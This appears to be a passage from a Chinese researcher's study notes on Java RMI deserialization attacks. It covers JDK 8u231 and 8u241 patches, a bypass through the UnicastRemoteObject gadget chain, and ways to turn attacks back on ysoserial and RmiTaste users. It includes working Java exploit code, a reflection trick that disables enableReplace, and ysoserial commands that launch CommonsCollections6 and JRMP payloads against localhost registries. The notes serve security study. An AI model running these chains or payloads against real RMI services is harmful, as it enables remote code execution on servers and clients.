run:-1, 578858033 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

4、jdk >= 8u231

8u231的check,修复了unicastref链。如何修复的的?

1、releaseInputStream前增加 discardPendingRefs() ,清除UnicastRef的反连地址。(ConnectionInputStream->incomingRefTable)

image-20240526183355810

2、DGCImpl_Stub的dirty/clean中的DGCImpl_Stub::leaseFilter中增加反序列化白名单限制。

    private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo var0) {
        if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {
            return Status.REJECTED;
        } else {
            Class var1 = var0.serialClass();
            if (var1 == null) {
                return Status.UNDECIDED;
            } else {
                while(var1.isArray()) {
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {
                        return Status.REJECTED;
                    }

                    var1 = var1.getComponentType();
                }

                if (var1.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
                }
            }
        }
    }

相当于:2个限制导致DGCImpl_Stub的readObject UnicastRef链无法用了。

如何绕过?blackhat2019中的答案:UnicastRemoteObject链。

利用链:


    private static Object getUnicastRefObject2() throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                RMIServerSocketFactory.class.getClassLoader(),
                new Class[]{RMIServerSocketFactory.class, Remote.class},
                obj
        );

        Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        Field field = UnicastRemoteObject.class.getDeclaredField("ssf");
        field.setAccessible(true);
        field.set(unicastRemoteObject, serverSocketFactory);


            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(unicastRemoteObject);

            byte[] result = byteArrayOutputStream.toByteArray();

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
//            ✅
            objectInputStream.readObject();

        return unicastRemoteObject;
    }

调用栈:

 /**
     * makeDirtyCall:381, DGCClient$EndpointEntry (sun.rmi.transport)  //  DGC dirty请求
     * registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
     * registerRefs:160, DGCClient (sun.rmi.transport)
     * read:312, LiveRef (sun.rmi.transport)                          // 直接触发了UnicastRef链
     * readExternal:489, UnicastRef (sun.rmi.server)
     * readObject:455, RemoteObject (java.rmi.server)
     * invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
     * invoke:62, NativeMethodAccessorImpl (sun.reflect)
     * invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
     * invoke:498, Method (java.lang.reflect)
     * invokeReadObject:1170, ObjectStreamClass (java.io)
     * readSerialData:2178, ObjectInputStream (java.io)
     * readOrdinaryObject:2069, ObjectInputStream (java.io)
     * readObject0:1573, ObjectInputStream (java.io)
     * defaultReadFields:2287, ObjectInputStream (java.io)
     * readSerialData:2211, ObjectInputStream (java.io)
     * readOrdinaryObject:2069, ObjectInputStream (java.io)
     * readObject0:1573, ObjectInputStream (java.io)
     * defaultReadFields:2287, ObjectInputStream (java.io)
     * defaultReadObject:561, ObjectInputStream (java.io)
     * readObject:234, UnicastRemoteObject (java.rmi.server)             // TRIGGER HERE 
     * invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
     * invoke:62, NativeMethodAccessorImpl (sun.reflect)
     * invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
     * invoke:498, Method (java.lang.reflect)
     * invokeReadObject:1170, ObjectStreamClass (java.io)
     * readSerialData:2178, ObjectInputStream (java.io)
     * readOrdinaryObject:2069, ObjectInputStream (java.io)
     * readObject0:1573, ObjectInputStream (java.io)
     * readObject:431, ObjectInputStream (java.io)
     * getUnicastRefObject2:73, RMIRegistryExploitBy8u231 (com.example.basicstudy.rmi)
     * main:34, RMIRegistryExploitBy8u231 (com.example.basicstudy.rmi)
     * */

问题是,通过重写后的lookup object 发给RMI时,没有触发UnicastRef链,没有调用到UnicastRemoteObject的readObject,而是直接调用了RemoteObject的readObject,调用栈如下:

readObject:424, RemoteObject (java.rmi.server)          // different
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 851992001 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

原因:

image-20240527173406279

image-20240527173023084

为什么前面的RemoteObjectInvocationHandler没有这个问题?实际上调试var2拿到的是null,不会被替换。

image-20240527194610966

解决办法:在lookupObject中的 writeObject时,反射修改enableReplace的值 为false:


    public static Remote lookupObject(Registry registry, Object var1) throws Exception {
        try {
            RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
            Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
            RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();

                Reflections.setFieldValue(var3,"enableReplace",false);  // here


                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException("error marshalling arguments", var18);
            }

            ref.invoke(var2);

            //处理返回信息的代码逻辑也可以删除
            Remote var23;
            try {
                ObjectInput var6 = var2.getInputStream();
                var23 = (Remote)var6.readObject();
            } catch (IOException var15) {
                throw new UnmarshalException("error unmarshalling return", var15);
            } catch (ClassNotFoundException var16) {
                throw new UnmarshalException("error unmarshalling return", var16);
            } finally {
                ref.done(var2);
            }

            return var23;
        } catch (RuntimeException var19) {
            throw var19;
        } catch (RemoteException var20) {
            throw var20;
        } catch (NotBoundException var21) {
            throw var21;
        } catch (Exception var22) {
            throw new UnexpectedException("undeclared checked exception", var22);
        }
    }

后续可复现成功。

调用栈:

resolveClass:203, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1868, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)                         // UnicastRef利用链
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy2 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)           // trigger here
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)   
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)              // trigger here 直接在readObject中触发利用链
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 851992001 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

参考:

5、jdk >=8u241 修复

1、RegistryImpl_Skel 中lookup 强制获取string类型,而不是readObject。(让 重写的lookup失效了)

2、修复 UnicastRemoteObject链: RemoteObjectInvocationHandler#invokeRemoteMethod 在调用ref.invoke前检测Method对象表示方法所在类的Class对象(即这里Gadget chain中的RMIServerSocketFactory)是否实现了Remote接口。(让UnicastRemoteObject利用链失效)

RMI Registry反制 RMI Server ✅ (ysoserial反制)

参考:RMI反序列化及相关工具反制浅析 https://mp.weixin.qq.com/s/uZQJL_tKd_nwPvANIG6fWA

1)反制ysoserial

部署反制Server:
java  -cp ~/Downloads/ysoserial-all.jar   ysoserial.exploit.JRMPListener 10099 URLDNS http://testycx-anti-client.d.s.dlsr.icu

攻击者:(被反制)
java  -cp ~/Downloads/ysoserial-all.jar   ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10099 URLDNS http://test.testycx.d.s.dlsr.icu

测试代码:

    private static void test04AntiClient() {
        try {
            Registry registry = LocateRegistry.getRegistry(10999);
            registry.list(); // bind同理

        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }

调用栈:

readObject:364, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)      // trigger here
invoke:379, UnicastRef (sun.rmi.server)
list:-1, RegistryImpl_Stub (sun.rmi.registry)
test04AntiClient:45, RMIClient (com.example.basicstudy.rmi)
main:38, RMIClient (com.example.basicstudy.rmi)

原理:客户端反序列化

2、反制RmiTaste

# SERVER
ysoserial ysoserial.exploit.JRMPListener 10999 CommonsCollections6 "open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator

# CLIENT
cd ~/Documents/Tech/Pentest/Tools/RmiTaste
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 10999

反制成功。

PS:enum模式拿不到需要的类,即使class给了也不行。

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

参考:

1、JAVA安全基础(四)-- RMI机制 https://xz.aliyun.com/t/9261 (基础文章,主要介绍了1)如何通过rmi client攻击一个rmi server,如果接口函数包含object参数;2)如何 RMIRegistryExploit如何通过 registry.bind来攻击RMI Registry)

2、https://hacktricks.boitatech.com.br/pentesting/1099-pentesting-java-rmi (todo)

3、针对RMI服务的九重攻击 https://xz.aliyun.com/t/7930、https://xz.aliyun.com/t/7932

代码:
1、RegistryImpl_Skel#dispatch -> bind/rebind : 对应registry攻击方法中的 server bind rebind恶意对象(RMIRegistryExploit)

2、DGCImpl_Skel#dispatch : clean/ditry: 对应客户端触发DGC(0为clean 1为dirty)(JRMPClient)

其他:
1、ysoserial中还有2个RMI相关的payload,简单记录用法


# 1. 开启JRMP监听端口 1199,后续可用
ysoserial ysoserial.payloads.JRMPListener 1199 > /tmp/ysoserial.payloads.JRMPListener1199.ser

# 2. 生成UnicastRef链的ysoserial.payloads.JRMPClient的payload,指定恶意的JRMP端口 (UnicastRef链)
# 准备工作 java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 "open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"
ysoserial ysoserial.payloads.JRMPClient  127.0.0.1:10999 > /tmp/ysoserial.payloads.JRMPClient10999.ser


# Exploit
exploit.JRMPClient  DGC请求打RMIRegistry,对应 RMIRegistry中的1.2
exploit.JRMPListener  JRMP Listener,打DGCStub 客户端  对应UnicastRef链中的

2、jdk动态代理:unicastref、unicastremoteObject 原理分析

3、RmiTaste等

4、如何看RMI端口查看注册的信息? nmap 127.0.0.1 -p 1099 -A

Host is up (0.00027s latency).

PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   Hello
|      implements java.rmi.Remote, com.example.basicstudy.rmi.Hello,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @<ip>:49525
|             extends
|_              java.rmi.server.RemoteObject

5、归档情况:【代码✅】【笔记&drawio&xmind✅】【ppt✅】【视频】

java安全-rmi-风险方案

java安全-RMI相关学习20240529整理

2024.05.29 Java RMI攻击面分享(已知技术总结)